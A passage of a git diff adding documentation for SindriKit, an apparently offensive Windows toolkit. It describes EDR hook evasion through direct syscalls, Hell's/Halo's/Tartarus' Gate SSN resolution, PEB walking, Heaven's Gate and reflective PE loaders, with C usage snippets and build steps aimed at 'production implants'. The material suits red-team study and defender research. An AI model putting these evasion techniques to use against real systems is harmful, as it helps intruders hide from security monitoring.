64-bit kernel. + +Security products frequently hook the 32-bit `ntdll.dll` residing inside the WoW64 environment. By initiating a Heaven's Gate transition, an implant bypasses this 32-bit userland completely and directly invokes the 64-bit kernel primitives. + +## Segment Selector `0x33` + +The transition is achieved by executing a far jump or call using the `0x33` segment selector. In 64-bit Windows, `0x33` is the Code Segment (`CS`) value that indicates the CPU should execute the subsequent instructions in 64-bit long mode. + +SindriKit implements this via the `snd_hg_execute_64` function, allowing a 32-bit payload to pass a 64-bit function address and a 64-bit argument array across the boundary and retrieve a 64-bit `RAX` return value. + +> [!NOTE] +> The Heaven's Gate primitives are only meaningful when compiled into a 32-bit process running under WoW64 on a 64-bit OS. Attempting to invoke them in a native 64-bit process or a pure 32-bit OS will result in failure. + +**Original research:** [Heaven's Gate](https://github.com/JustasMasiulis/wow64pp) — see also [Alex Ionescu's WoW64 internals](https://wbenny.github.io/2018/11/04/wow64-internals.html) diff --git a/docs/domains/primitives/memory/README.md b/docs/domains/primitives/memory/README.md new file mode 100644 index 0000000..1fdecba --- /dev/null +++ b/docs/domains/primitives/memory/README.md @@ -0,0 +1,12 @@ +# Memory Primitives + +This directory documents the paradigms used by the framework to allocate, protect, and free virtual memory within the host process. + +> [!CAUTION] +> **OpSec Warning:** Selecting the `snd_mem_win` paradigm actively routes memory allocations through userland EDR hooks. Operators must use `snd_mem_native` for evasive deployments. + +## Table of Contents +- [techniques.md](techniques.md) + Contrasts the telemetry differences between standard Win32 allocation (`VirtualAlloc`) and Native direct syscalls. +- [api_reference.md](api_reference.md) + Public API documentation detailing the `snd_memory_api_t` interface and its pre-built instances. diff --git a/docs/domains/primitives/memory/api_reference.md b/docs/domains/primitives/memory/api_reference.md new file mode 100644 index 0000000..e6a151d --- /dev/null +++ b/docs/domains/primitives/memory/api_reference.md @@ -0,0 +1,28 @@ +# Memory: API Reference + +This page documents the memory capabilities exported by the framework. + +--- + +## Memory API Instances (`sindri/primitives/memory.h`) + +Two pre-built instances of the `snd_memory_api_t` interface are exported globally. These pointers are typically assigned to `ctx.mem_api` during loader or injector initialization. + +| Symbol | Backend Paradigm | +|---|---| +| `snd_mem_win` | Standard Win32 API (`VirtualAlloc`, `VirtualProtect`) | +| `snd_mem_native` | Direct Syscalls (`NtAllocateVirtualMemory`, `NtProtectVirtualMemory`) | + +--- + +## The Interface (`sindri/primitives/os_api.h`) + +### `snd_memory_api_t` + +The function pointer table defining the memory contract. Operators can implement their own instances of this structure to route memory operations through custom mechanisms (e.g., hypervisors, vulnerable drivers). + +| Field | Signature | Description | +|---|---|---| +| `alloc` | `snd_status_t (*)(PVOID* base, SIZE_T size, ULONG alloc_type, ULONG protect)` | Allocates virtual memory | +| `free` | `snd_status_t (*)(PVOID base, SIZE_T size, ULONG free_type)` | Frees virtual memory | +| `protect` | `snd_status_t (*)(PVOID base, SIZE_T size, ULONG new_protect, ULONG* old_protect)` | Modifies page protections | diff --git a/docs/domains/primitives/memory/techniques.md b/docs/domains/primitives/memory/techniques.md new file mode 100644 index 0000000..511ebf2 --- /dev/null +++ b/docs/domains/primitives/memory/techniques.md @@ -0,0 +1,30 @@ +# Memory Techniques + +The memory subdomain defines the core paradigms utilized by SindriKit to allocate, protect, and free virtual memory. Because of the framework's strict Dependency Injection architecture, an operation like a reflective loader never hardcodes how memory is acquired; it relies entirely on the `snd_memory_api_t` interface injected during initialization. + +## Paradigm 1: Win32 Allocation (`snd_mem_win`) + +The `snd_mem_win` implementation backs the `snd_memory_api_t` interface using standard, high-level Win32 functions exported by `kernel32.dll`. + +- **Allocation:** `VirtualAlloc` +- **Protection:** `VirtualProtect` +- **Deallocation:** `VirtualFree` + +### OpSec Implications +This paradigm provides maximum stability but generates massive telemetry surface. Every call to `VirtualAlloc` acts as a flare to AV/EDR sensors. The request is routed through `kernel32.dll` down into the userland `ntdll.dll` stub for `NtAllocateVirtualMemory`, directly triggering any inline hooks placed by security products. + +This implementation is intended strictly for diagnostic scenarios, non-evasive toolsets, or environments where EDR instrumentation is known to be absent. + +## Paradigm 2: Direct Syscalls (`snd_mem_native`) + +The `snd_mem_native` implementation bypasses `kernel32.dll` and `ntdll.dll` entirely by utilizing the framework's internal Syscall Resolution pipeline. + +- **Allocation:** Direct syscall to `NtAllocateVirtualMemory` +- **Protection:** Direct syscall to `NtProtectVirtualMemory` +- **Deallocation:** Direct syscall to `NtFreeVirtualMemory` + +### OpSec Implications +By executing the `syscall` instruction directly, the implant cleanly bypasses userland EDR hooks placed inside the `ntdll.dll` stubs. The kernel receives the memory request without userland telemetry sensors ever recording the event. + +> [!WARNING] +> `snd_mem_native` requires the operator to manually configure the syscall pipeline (via `snd_set_syscall_strategy` and `sindri/primitives/ntdll.h`'s `snd_set_ntdll`) prior to invocation. If the pipeline is not bootstrapped, the native memory calls will immediately fail. diff --git a/docs/domains/primitives/modules/README.md b/docs/domains/primitives/modules/README.md new file mode 100644 index 0000000..79c4eb1 --- /dev/null +++ b/docs/domains/primitives/modules/README.md @@ -0,0 +1,9 @@ +# Module Primitives + +This directory covers techniques for resolving loaded module base addresses and extracting exported functions without relying on highly-monitored OS APIs. + +## Table of Contents +- [peb_walking.md](peb_walking.md) + Explains how to manually traverse the `PEB->Ldr` lists to locate DLLs in memory. +- [api_reference.md](api_reference.md) + Public API documentation for PEB walking functions and the `snd_module_api_t` interface. diff --git a/docs/domains/primitives/modules/api_reference.md b/docs/domains/primitives/modules/api_reference.md new file mode 100644 index 0000000..70bef35 --- /dev/null +++ b/docs/domains/primitives/modules/api_reference.md @@ -0,0 +1,82 @@ +# Modules: API Reference + +This page documents the module capabilities exported by the framework. + +--- + +## Module API Instances (`sindri/primitives/modules.h`) + +Two pre-built instances of the `snd_module_api_t` interface are exported globally. These pointers are typically assigned to `ctx.mod_api` during loader or injector initialization. + +| Symbol | Backend Paradigm | +|---|---| +| `snd_mod_win` | `LoadLibraryA` / `GetProcAddress` / `GetModuleHandleW` | +| `snd_mod_native` | Global cache (`snd_get_ntdll`) + hash-based export resolution (`snd_pe_get_export_address_by_hash`) + PEB walking (`snd_peb_get_module_base_by_hash`) | + +--- + +## The Interface (`sindri/primitives/os_api.h`) + +### `snd_module_api_t` + +The function pointer table defining the module and import contract. + +| Field | Signature | Description | +|---|---|---| +| `load_library` | `snd_status_t (*)(const char* module_name, PVOID* base)` | Loads or resolves a module into the process | +| `get_proc_address` | `snd_status_t (*)(PVOID base, const char* func_name, PVOID* func_addr)` | Resolves an exported symbol by name | +| `get_module_base` | `snd_status_t (*)(const wchar_t* module_name, PVOID* base)` | Retrieves the base address of a loaded module | + + + +--- + +## PEB Walking (`sindri/primitives/peb.h`) + +### `snd_peb_get_module_base` + +Locates a loaded module's base address by walking `PEB->Ldr->InMemoryOrderModuleList` and comparing `BaseDllName` case-insensitively. + +| Parameter | Type | Description | +|---|---|---| +| `module_name` | `const wchar_t*` | Case-insensitive target module name (e.g., `L"ntdll.dll"`) | +| `out_base` | `PVOID*` | Receives the base address of the located module | + +**Returns:** `snd_status_t` — `SND_OK` on success. + +--- + +### `snd_peb_get_module_base_by_hash` + +Hash-based variant. Eliminates the plaintext module name string from the binary entirely. + +| Parameter | Type | Description | +|---|---|---| +| `module_hash` | `DWORD` | Pre-computed hash of the target module name | +| `out_base` | `PVOID*` | Receives the base address of the located module | + +**Returns:** `snd_status_t` — `SND_OK` on success. + +--- + +## Global NTDLL State (`sindri/primitives/ntdll.h`) + +SindriKit maintains global state for the `ntdll.dll` base address. This address is used ubiquitously by native components to extract clean stubs or parse export tables without relying on repetitive PEB lookups or the potentially hooked PEB-resident image. + +### `snd_set_ntdll` + +Sets the globally cached base address of `ntdll.dll`. + +| Parameter | Type | Description | +|---|---|---| +| `ntdll_base` | `PVOID` | Base address to cache. Typically obtained via KnownDlls mapping or PEB walking. | + +**Returns:** `void` + +--- + +### `snd_get_ntdll` + +Retrieves the globally cached base address. + +**Returns:** `PVOID` — The base address, or `NULL` if not set. diff --git a/docs/domains/primitives/modules/peb_walking.md b/docs/domains/primitives/modules/peb_walking.md new file mode 100644 index 0000000..30c2c9e --- /dev/null +++ b/docs/domains/primitives/modules/peb_walking.md @@ -0,0 +1,29 @@ +# PEB Walking + +The modules subdomain provides mechanisms for interacting with the loaded DLLs of a process. The primary challenge in offensive tooling is resolving module base addresses and exported functions without relying on highly monitored APIs like `GetModuleHandle` or `GetProcAddress`. + +## Traversing the PEB + +The Process Environment Block (PEB) is a userland structure containing extensive process information, including the lists of all currently loaded DLLs. It is accessible without invoking any Win32 or NT API calls. + +- **x64:** Accessed via the `gs` segment register at offset `0x60` +- **x86:** Accessed via the `fs` segment register at offset `0x30` + +### The Loaded Module Lists + +Within the PEB, `PEB->Ldr` points to a `PEB_LDR_DATA` structure. This structure contains three doubly-linked lists of `LDR_DATA_TABLE_ENTRY` nodes: +1. `InLoadOrderModuleList` +2. `InMemoryOrderModuleList` +3. `InInitializationOrderModuleList` + +SindriKit traverses the `InMemoryOrderModuleList`. By iterating through these nodes, the framework inspects the `BaseDllName` field of each loaded module. + +## Resolution Methods + +### String Comparison +The framework provides `snd_peb_get_module_base` to perform a case-insensitive, wide-string comparison against the `BaseDllName` (e.g., matching `L"ntdll.dll"`). + +### Hash Comparison +For superior OpSec, `snd_peb_get_module_base_by_hash` computes a runtime hash of each module's name and compares it against a compile-time hash. This completely eliminates plaintext module strings (like `ntdll.dll` or `kernel32.dll`) from the implant's `.rdata` section. + +**Reference:** [Finding kernel32 base and function addresses in shellcode](https://www.ired.team/offensive-security/defense-evasion/finding-kernel32-base-and-function-addresses-in-shellcode) diff --git a/docs/domains/primitives/syscalls/README.md b/docs/domains/primitives/syscalls/README.md new file mode 100644 index 0000000..a3463fe --- /dev/null +++ b/docs/domains/primitives/syscalls/README.md @@ -0,0 +1,14 @@ +# Syscall Primitives + +This directory details SindriKit's advanced system for extracting System Service Numbers (SSNs) and bypassing inline userland EDR hooks. + +> [!WARNING] +> **Initialization Constraint:** The syscall pipeline requires setting up the NTDLL base address. `snd_set_ntdll()` (from `sindri/primitives/ntdll.h`) must be called prior to invoking any resolution function. + +## Table of Contents +- [pipeline.md](pipeline.md) + Explains the cascading fallback mechanism used to evaluate multiple SSN resolution strategies sequentially. +- [gates.md](gates.md) + Provides technical breakdowns of the Hell's, Halo's, Tartarus', and VelesReek extraction techniques. +- [api_reference.md](api_reference.md) + Public API documentation for syscall resolvers, pipeline configuration, and the generic ASM invocation stub. diff --git a/docs/domains/primitives/syscalls/api_reference.md b/docs/domains/primitives/syscalls/api_reference.md new file mode 100644 index 0000000..ef0ef6f --- /dev/null +++ b/docs/domains/primitives/syscalls/api_reference.md @@ -0,0 +1,93 @@ +# Syscalls: API Reference + +This page documents the public API surface for System Service Number (SSN) resolution and direct syscall execution. All definitions reside in `include/sindri/primitives/syscalls.h`. + +--- + +## Core Data Structures + +### `snd_syscall_entry_t` +Structure holding the successfully resolved context of a target syscall. + +| Field | Type | Description | +|---|---|---| +| `pAddress` | `PVOID` | Pointer to the original stub address in memory | +| `dwHash` | `DWORD` | The compile-time hash of the target NT function | +| `wSystemCall` | `WORD` | The resolved System Service Number (SSN) | + +### `snd_syscall_args_t` +Arguments structure passed to the generic ASM syscall invoker. + +| Field | Type | Description | +|---|---|---| +| `ssn` | `WORD` | System Service Number to place in the `EAX`/`RAX` register | +| `arg1`–`arg10` | `PVOID` | Up to 10 arguments forwarded to the kernel | + +--- + +## Resolvers & Pipeline Configuration + +### `snd_syscall_resolver_t` +Function pointer signature for SSN resolution strategies. Any custom gate can be plugged into the framework if it matches this signature. + +```c +typedef snd_status_t (*snd_syscall_resolver_t)(PVOID ntdll_base, DWORD func_hash, snd_syscall_entry_t *entry_out); +``` + +#### Built-in Resolvers +- `snd_hell_extract_syscall`: Standard Hell's Gate +- `snd_halo_extract_syscall`: Standard Halo's Gate (`0xE9` hook evasion) +- `snd_tartarus_extract_syscall`: Tartarus' Gate (`0xEB` hook evasion) +- `snd_veles_extract_syscall`: VelesReek (`syscall` instruction anchor) + +--- + +### `snd_set_syscall_strategy` +Sets the primary resolution strategy and **resets** the entire fallback chain to a single entry. + +| Parameter | Type | Description | +|---|---|---| +| `resolver` | `snd_syscall_resolver_t` | The resolver function to use as the primary strategy | + +--- + +### `snd_add_syscall_strategy` +Appends a fallback strategy to the resolution pipeline. The pipeline is evaluated in registration order. Maximum depth: 4 strategies. + +| Parameter | Type | Description | +|---|---|---| +| `resolver` | `snd_syscall_resolver_t` | The fallback resolver function to append | + +**Returns:** `snd_status_t` — `SND_OK` on success, `SND_STATUS_SSN_BUFFER_TOO_SMALL` if the chain is full. + +--- + +### NTDLL Base Address + +> [!NOTE] +> The `ntdll.dll` base address is no longer set locally per-subsystem. It is now managed globally via `snd_set_ntdll` and `snd_get_ntdll` from `sindri/primitives/ntdll.h`. You MUST set the global base before attempting to resolve syscalls. + +--- + +## Execution + +### `snd_resolve_syscall` +Attempts to resolve a System Service Number (SSN) by running the configured strategy pipeline in order. Returns on the first successful result. + +| Parameter | Type | Description | +|---|---|---| +| `func_hash` | `DWORD` | Compile-time hash of the target NT function name | +| `entry_out` | `snd_syscall_entry_t*` | Output structure populated with the resolved SSN and stub address | + +**Returns:** `snd_status_t` — `SND_OK` on success, `SND_STATUS_SSN_NOT_FOUND` if all strategies fail, `SND_STATUS_NOT_INITIALIZED` if `snd_set_ntdll` was not called. + +--- + +### `snd_invoke_syscall_asm` +ASM stub that performs the actual `syscall` instruction. Architecture-specific implementations exist for x64 and x86. + +| Parameter | Type | Description | +|---|---|---| +| `args` | `snd_syscall_args_t*` | Pointer to a populated arguments structure | + +**Returns:** `NTSTATUS` — the raw kernel return value. diff --git a/docs/domains/primitives/syscalls/gates.md b/docs/domains/primitives/syscalls/gates.md new file mode 100644 index 0000000..74d37a6 --- /dev/null +++ b/docs/domains/primitives/syscalls/gates.md @@ -0,0 +1,48 @@ +# Syscall Gates + +The framework provides four highly-researched techniques for extracting System Service Numbers (SSNs) at runtime. These form the building blocks of the syscall resolution pipeline. + +## Hell's Gate (`snd_hell_extract_syscall`) + +The baseline technique. On an unhooked system, every `Nt*` / `Zw*` stub in `ntdll.dll` follows a predictable prologue pattern. On x64: + +``` +4C 8B D1 mov r10, rcx +B8 XX XX 00 00 mov eax, +0F 05 syscall +C3 ret +``` + +Hell's Gate locates the target function by hash in `ntdll`'s export table, walks to its stub, and validates the first four bytes against this pattern (`0x4C 0x8B 0xD1 0xB8`). If the pattern matches, bytes 4–5 contain the SSN as a little-endian `WORD` and are extracted directly. On x86 WOW64, the analogous check is a leading `0xB8` (`mov eax, `) at offset 0. + +**Original research:** [Hell's Gate](https://github.com/am0nsec/HellsGate) by am0nsec & smelly\_\_vx + +--- + +## Halo's Gate (`snd_halo_extract_syscall`) + +Hell's Gate fails when the target stub has been patched. A typical userland hook overwrites the first bytes of the stub with a `JMP` (`0xE9`) redirect to the EDR's trampoline. + +When Halo's Gate detects this (`p[0] == 0xE9`), it abandons the hooked stub and searches adjacent stubs in memory. Syscall stubs for neighboring exports are allocated contiguously in the export table and their SSNs are sequential. By walking up and down from the hooked stub until a clean, pattern-matching neighbor is found, the correct SSN is inferred by applying the neighbor's index offset. + +**Original research:** [Halo's Gate](https://blog.sektor7.net/#!res/2021/halosgate.md) by Sektor7 + +--- + +## Tartarus' Gate (`snd_tartarus_extract_syscall`) + +Extends Halo's Gate to cover a second hook placement pattern. Some EDR products patch stubs with a short jump (`0xEB`, a single-byte relative `JMP`) rather than the full 5-byte `0xE9` variant. + +Tartarus' Gate detects both (`p[0] == 0xE9 || p[0] == 0xEB`) before delegating to the same neighbor-search logic, ensuring coverage of EDR hooks that Halo's Gate alone would miss. + +**Original research:** [Tartarus' Gate](https://github.com/trickster0/TartarusGate) by trickster0 + +--- + +## VelesReek (`snd_veles_extract_syscall`) + +An alternative SSN recovery approach that locates the `syscall` instruction (`0x0F 0x05`) itself within the stub rather than relying solely on the function prologue pattern. + +On hooked stubs where the prologue has been overwritten, the `syscall` instruction and its immediate context can still anchor SSN derivation. Like the Gate variants, SindriKit's implementation also covers `0xE9`, `0xEB`, and (on x86) `0xE8` jump prefixes by falling through to the shared neighbor-search routine. + +**Original research:** [VelesReek](https://github.com/klezvirus/VelesReek) by klezvirus diff --git a/docs/domains/primitives/syscalls/pipeline.md b/docs/domains/primitives/syscalls/pipeline.md new file mode 100644 index 0000000..3308e32 --- /dev/null +++ b/docs/domains/primitives/syscalls/pipeline.md @@ -0,0 +1,30 @@ +# Cascading Syscall Pipeline + +Windows EDRs instrument the kernel boundary by placing inline hooks inside `ntdll.dll` userland syscall stubs. When an implant calls `NtAllocateVirtualMemory`, it hits the hooked stub before reaching the kernel. The EDR inspects arguments, the call stack, and the execution context before deciding whether to allow or block the transition. + +Direct syscall invocation bypasses this entirely: if the operator knows the System Service Number (SSN) for the target function, the `syscall` instruction can be issued directly, transitioning straight to the kernel. + +The challenge is reliable SSN resolution. The SSN for any given NT function is not stable across Windows versions or patch levels. It must be extracted at runtime from the in-memory `ntdll.dll` image. SindriKit implements four distinct strategies (Gates) for this, arranged into a user-configured cascading fallback pipeline. + +## The Pipeline Design + +SindriKit composes the various gate strategies into a single ordered pipeline. + +- `snd_set_syscall_strategy()` sets the primary strategy and resets any existing chain. +- `snd_add_syscall_strategy()` appends fallbacks (maximum chain depth: 4). +- When `snd_resolve_syscall()` is called, it attempts each strategy in registration order and returns the first successful result. A strategy that returns any error causes an immediate retry with the next entry in the pipeline. + +### Full-Coverage Implementation +A full-coverage pipeline that handles unhooked, lightly hooked, and aggressively hooked environments looks like this: + +```c +snd_set_syscall_strategy(snd_hell_extract_syscall); +snd_add_syscall_strategy(snd_halo_extract_syscall); +snd_add_syscall_strategy(snd_tartarus_extract_syscall); +snd_add_syscall_strategy(snd_veles_extract_syscall); +``` + +If all four strategies fail for a given function, `snd_resolve_syscall()` returns `SND_STATUS_SSN_NOT_FOUND`. + +> [!IMPORTANT] +> `snd_set_ntdll()` (from `sindri/primitives/modules.h`) **must** be called before any resolution attempt. There is no implicit fallback. Feed it either the PEB-resident `ntdll.dll` base or, for a cleaner baseline, a base obtained via the KnownDlls mapping technique. diff --git a/docs/examples/README.md b/docs/examples/README.md new file mode 100644 index 0000000..00465a6 --- /dev/null +++ b/docs/examples/README.md @@ -0,0 +1,13 @@ +# Examples & Proof of Concepts + +This directory contains standalone execution wrappers built on top of the SindriKit library. + +## Table of Contents +- [loader_winapi.md](loader_winapi.md) + Walkthrough of standard reflective loading using noisy Win32 APIs for pipeline validation. +- [loader_nowinapi.md](loader_nowinapi.md) + Walkthrough of evasive loading using direct syscalls, Hell's Gate, and PEB walking. +- [loader_noCRT_nowinapi.md](loader_noCRT_nowinapi.md) + Walkthrough of the ultimate evasive profile: stripping the MSVC C Runtime entirely for minimal footprint. +- [heavens_gate.md](heavens_gate.md) + Walkthrough of transitioning a 32-bit WoW64 process into native 64-bit execution. diff --git a/docs/examples/heavens_gate.md b/docs/examples/heavens_gate.md new file mode 100644 index 0000000..fdccec8 --- /dev/null +++ b/docs/examples/heavens_gate.md @@ -0,0 +1,63 @@ +# PoC: heavens_gate + +**Location:** `pocs/heavens_gate/` + +This PoC demonstrates SindriKit's capability to transition from a 32-bit WoW64 environment into native 64-bit mode using the `0x33` segment selector (Heaven's Gate). + +## What it demonstrates + +- Checking whether the current process is running under WoW64. +- Passing a 64-bit function pointer and argument array across the boundary. +- Executing 64-bit shellcode from a 32-bit process and retrieving a 64-bit return value in `RAX`. + +## Walkthrough + +Because this primitive relies on the WoW64 subsystem, the PoC is only functional when compiled as a 32-bit executable (`x86`) and run on a 64-bit Windows OS. + +### Step 1: Validate the Environment + +```c +if (!snd_is_wow64()) { + printf("[-] Not running in WOW64... Heaven's Gate requires WOW64.\n"); + return SND_STATUS_ARCH_MISMATCH; +} +``` + +The framework parses the PEB to determine if the 32-bit process is being emulated by the 64-bit OS. + +### Step 2: Allocate 64-bit Payload + +For demonstration purposes, this PoC uses `VirtualAlloc` to allocate a simple 64-bit shellcode block that loads a magic value into `RAX` and returns: + +```nasm +mov rax, 0x1122334455667788 +ret +``` + +```c +unsigned char shellcode64[] = { + 0x48, 0xB8, 0x88, 0x77, 0x66, + 0x55, 0x44, 0x33, 0x22, 0x11, + 0xC3 +}; + +PVOID pExec = VirtualAlloc(NULL, sizeof(shellcode64), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); +memcpy(pExec, shellcode64, sizeof(shellcode64)); +``` + +### Step 3: Transition and Execute + +The PoC invokes the `snd_hg_execute_64` API, which performs the segment selector transition internally, executes the provided address, and passes back the 64-bit return value. + +```c +UINT64 result = 0; + +// Invoke Heaven's Gate with 0 arguments +snd_status_t status = snd_hg_execute_64((UINT64)(ULONG_PTR)pExec, 0, NULL, &result); + +if (status.code == SND_SUCCESS) { + // result == 0x1122334455667788 +} +``` + +**OpSec impact:** Bypassing WoW64 completely blinds any security products that have only placed userland hooks inside the 32-bit `ntdll.dll`. The execution happens entirely in native 64-bit mode. diff --git a/docs/examples/loader_noCRT_nowinapi.md b/docs/examples/loader_noCRT_nowinapi.md new file mode 100644 index 0000000..aabe358 --- /dev/null +++ b/docs/examples/loader_noCRT_nowinapi.md @@ -0,0 +1,58 @@ +# Evasive Loader (No-CRT / No-WinAPI) + +**Path:** `pocs/loader_noCRT_nowinapi` + +This Proof-of-Concept demonstrates the ultimate operational profile of SindriKit: a reflective loader completely independent of both high-level Windows APIs and the Microsoft C Runtime (CRT). By combining direct syscalls via Hell's Gate, PEB module walking, and the `/NODEFAULTLIB` compiler flag, this loader achieves a minimal, stealthy footprint ideal for production implants. + +## 1. CRT Independence + +When compiled in Release mode (`SND_ENABLE_DEBUG=OFF`), this PoC invokes strict CRT-stripping flags: +```cmake +target_link_options(loader_noCRT_nowinapi PRIVATE + /NODEFAULTLIB + /ENTRY:main +) +``` +Without the CRT, standard functions like `memcpy` or `memset` are unavailable. SindriKit compensates for this by selectively compiling `src/common/crt_manifest.c` in Release builds, providing framework-native intrinsic fallbacks. This ensures the compiled artifact contains no implicit telemetry or standard library dependencies. + +## 2. Global `ntdll.dll` Resolution + +Because the PoC operates without Win32 APIs (like `GetModuleHandle`), it must resolve its own dependencies manually. It does this by walking the Process Environment Block (PEB) to locate `ntdll.dll` by its compile-time hash. + +```c +PVOID ntdll; +status = snd_peb_get_module_base_by_hash(SND_HASH_NTDLL_DLL, &ntdll); +``` + +Once resolved, it globally registers the `ntdll` base using the modules API, allowing the rest of the framework (like the native memory allocator or module loader) to utilize it implicitly. + +```c +snd_set_ntdll(ntdll); +``` + +## 3. Syscall Strategy + +The PoC activates the `snd_hell_extract_syscall` strategy. From this point forward, memory allocations and page protections required during the reflective loading process are executed via dynamically resolved syscalls, entirely bypassing user-land hooks in `ntdll.dll`. + +```c +snd_set_syscall_strategy(snd_hell_extract_syscall); +``` + +## 4. Execution + +Like the other loaders, the context is populated with the Native APIs (`snd_mem_native`, `snd_mod_native`), and the target payload is loaded, mapped, and executed reflectively from memory. + +## Building and Running + +To compile this PoC specifically, ensure you are building in Release mode: + +```bash +# Debug must be OFF to strip the CRT +cmake -B build -DSND_BUILD_PAYLOADS=ON -DSND_ENABLE_DEBUG=OFF +cmake --build build --config Release +``` + +Execution: +```bash +build\pocs\loader_noCRT_nowinapi\Release\loader_noCRT_nowinapi.exe +``` diff --git a/docs/examples/loader_nowinapi.md b/docs/examples/loader_nowinapi.md new file mode 100644 index 0000000..5099114 --- /dev/null +++ b/docs/examples/loader_nowinapi.md @@ -0,0 +1,71 @@ +# PoC: loader_nowinapi + +**Location:** `pocs/loader_nowinapi/` + +This PoC drops the entire Win32 API layer. It retrieves a clean `ntdll.dll` from KnownDlls, configures a cascading SSN resolution pipeline, and then loads the payload using only direct kernel syscalls and PEB walking. + +## What it demonstrates + +- The full SindriKit bootstrapping sequence required before any native primitive can be used. +- The complete cascading syscall pipeline covering four EDR hook evasion strategies. +- That the loader's core logic is entirely unchanged — only the injected API tables differ from `loader_winapi`. + +## Walkthrough + +The bootstrapping phase must complete before the loader context is initialized. + +### Step 1: Retrieve a clean `ntdll.dll` from KnownDlls + +```c +PVOID clean_ntdll = NULL; + +// Configure the KnownDlls loader to use Win32 wrappers for the initial bootstrap. +// (Native strategy is available once the syscall pipeline itself is armed.) +snd_status_t status = snd_map_knowndll(&snd_knowndlls_win, L"ntdll.dll", &clean_ntdll); +``` + +This maps a clean, pre-hook copy of `ntdll.dll` directly from the `\KnownDlls` Object Manager directory. The EDR's hooks on the PEB-resident copy do not exist in this mapping. + +### Step 2: Feed the clean base to the global cache + +```c +snd_set_ntdll(clean_ntdll); +``` + +This globally registers the unhooked `ntdll.dll` base. It will be used by the syscall resolution pipeline to extract unhooked stub bytes, and by the Native module API (`snd_mod_native`) to implicitly resolve APIs like `LdrLoadDll` without additional PEB lookups. + +### Step 3: Configure the cascading syscall pipeline + +```c +snd_set_syscall_strategy(snd_hell_extract_syscall); +snd_add_syscall_strategy(snd_halo_extract_syscall); +snd_add_syscall_strategy(snd_tartarus_extract_syscall); +snd_add_syscall_strategy(snd_veles_extract_syscall); +``` + +`snd_resolve_syscall` will now attempt each strategy in order, returning on the first success. This covers unhooked stubs (Hell's Gate), `0xE9`-hooked stubs (Halo's Gate), `0xEB`-hooked stubs (Tartarus' Gate), and the `syscall`-anchor fallback (VelesReek). + +### Step 4: Load the payload and initialize the loader context + +```c +snd_buffer_t payload = { ... }; // raw PE bytes from disk + +snd_loader_ctx_t ctx = {0}; +ctx.raw_source = &payload; +ctx.mem_api = &snd_mem_native; // -> NtAllocateVirtualMemory via direct syscall +ctx.mod_api = &snd_mod_native; // -> PEB walking + manual export table parsing +``` + +### Step 5: Execute + +```c +snd_status_t s = snd_prepare_reflective_image(&ctx); +if (s.code != SND_SUCCESS) { + snd_status_print(s); + return 1; +} + +s = snd_execute_reflective_image(&ctx); +``` + +**OpSec impact:** `VirtualAlloc` and `VirtualProtect` are never called. Memory allocation goes directly to `NtAllocateVirtualMemory` via the SSN resolved from the clean KnownDlls ntdll copy. Import resolution uses PEB walking for module base lookup and manual export table parsing for symbol resolution. diff --git a/docs/examples/loader_winapi.md b/docs/examples/loader_winapi.md new file mode 100644 index 0000000..a4cac7a --- /dev/null +++ b/docs/examples/loader_winapi.md @@ -0,0 +1,44 @@ +# PoC: loader_winapi + +**Location:** `pocs/loader_winapi/` + +This PoC loads a raw PE payload from disk using standard, fully documented Win32 APIs throughout. Every memory operation (`VirtualAlloc`, `VirtualProtect`) and every module operation (`LoadLibraryA`, `GetProcAddress`) hits the standard API layer and any EDR hooks installed on it. It is intended strictly for diagnostic use and pipeline validation, not operational deployment. + +## What it demonstrates + +- The baseline reflective loading pipeline: parse → alloc → map → relocate → resolve imports → protect → TLS → execute. +- That the context-based architecture works correctly before introducing evasion complexity. +- A clean baseline to diff against when debugging why a stealth variant fails. + +## Walkthrough + +No syscall bootstrapping is required. The setup reduces to injecting the Win32-backed API tables and calling the execution chain wrapper: + +```c +// Read the raw PE payload from disk into a buffer +snd_buffer_t payload = { ... }; + +// Initialize the loader context with Win32 primitives +snd_loader_ctx_t ctx = {0}; +ctx.raw_source = &payload; +ctx.mem_api = &snd_mem_win; // -> VirtualAlloc / VirtualProtect +ctx.mod_api = &snd_mod_win; // -> LoadLibraryA / GetProcAddress + +// Run the full prepare chain (parse, alloc, map, relocate, IAT, protect, TLS) +snd_status_t s = snd_prepare_reflective_image(&ctx); +if (s.code != SND_SUCCESS) { + snd_status_print(s); + return 1; +} + +// Execute the entry point +s = snd_execute_reflective_image(&ctx); +if (s.code != SND_SUCCESS) { + snd_status_print(s); +} + +// Optional cleanup +snd_free_mapped_image(&ctx); +``` + +**OpSec impact:** Every allocation and protection change is made via documented Win32 APIs. Any EDR with userland hooks on `VirtualAlloc` and `VirtualProtect` will see every operation in full. String artifacts from `LoadLibraryA` calls appear in the call stack. This profile is an absolute EDR flare. diff --git a/docs/getting_started/README.md b/docs/getting_started/README.md new file mode 100644 index 0000000..f4903fe --- /dev/null +++ b/docs/getting_started/README.md @@ -0,0 +1,9 @@ +# Getting Started + +This directory contains introductory guides and onboarding documentation for building and operating SindriKit. + +## Table of Contents +- [building.md](building.md) + A guide on configuring CMake, selecting build tiers, and managing CRT-independence for OpSec. +- [basic_usage.md](basic_usage.md) + Walkthrough of initializing a reflective loader context, bootstrapping OS APIs, and executing payloads. diff --git a/docs/getting_started/basic_usage.md b/docs/getting_started/basic_usage.md new file mode 100644 index 0000000..702d6a5 --- /dev/null +++ b/docs/getting_started/basic_usage.md @@ -0,0 +1,106 @@ +# Basic Usage: The Core Engine + +SindriKit is fundamentally an extensible evasion and execution toolkit. While it currently ships with a powerful reflective loader, the loader is merely the first domain implemented on top of the toolkit's core primitives. + +To use SindriKit effectively, the operator must understand how it separates offensive **Intent** (what is being accomplished) from the **Execution Mechanics** (how the OS actually executes it). + +## 1. Core Philosophy: The Execution Abstraction Layer + +SindriKit forces developers to explicitly define how operations interact with the host operating system. This is achieved via a toolkit-wide Dependency Injection (DI) pattern utilizing function pointer structures such as `snd_memory_api_t` (`mem_api`) and `snd_module_api_t` (`mod_api`). + +Whether reflectively loading a PE, patching ETW, or injecting into a remote process, the high-level algorithm remains entirely agnostic to the execution mechanics. The engine never calls `VirtualAlloc` or `NtAllocateVirtualMemory` directly; it calls `ctx->mem_api->alloc`. + +This design means that swapping the entire operational footprint from highly visible, EDR-monitored Win32 APIs to stealthy, direct kernel syscalls is as simple as swapping a struct pointer during context initialization. + +## 2. Global State vs. Explicit Execution Primitives + +> [!IMPORTANT] +> Before initiating any high-level toolkit domain (like a loader or injector context), the underlying execution primitives must be explicitly bootstrapped. SindriKit does not rely on implicit global state 